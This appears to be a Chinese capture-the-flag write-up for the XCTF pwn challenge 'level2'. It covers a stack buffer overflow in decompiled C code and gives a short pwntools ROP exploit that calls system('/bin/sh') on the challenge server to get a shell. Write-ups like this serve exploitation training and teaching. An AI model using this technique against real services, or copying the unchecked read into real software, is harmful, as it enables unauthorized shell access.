【攻防世界】Pwn系列之level2

【攻防世界】Pwn系列之level2

反汇编程序后获得其源码,main()函数代码如下

1
2
3
4
5
6
nt __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

其首先调用了vulnerable_function()函数,我们继续跟进该函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

buf在堆栈中的内存分配情况如下,s为rbp寄存器,r为rip寄存器标识CPU执行下一个指令的地址

为buf数组分配了一个0x88h的栈空间,然后调用system()输出字符串,接着调用read()函数读取0x100u的数据到buf中。由此可以判断出和前面的内存溢出很相似,还是将rip指令寄存器地址覆盖为system()函数的地址,使其打开bash进程执行系统命令。

由于开启了NX执行保护,所以需要用到ROP技巧来执行system函数。

exp代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *

host = remote('61.147.171.105',53914)
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = next(elf.search(b'/bin/sh'))
payload = b'a'*(0x88+0x4)+p32(system_addr) + b'a'*4+p32(binsh_addr)

host.sendlineafter(b'Input:',payload)
host.interactive()

运行结果如下

得到flag

1

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信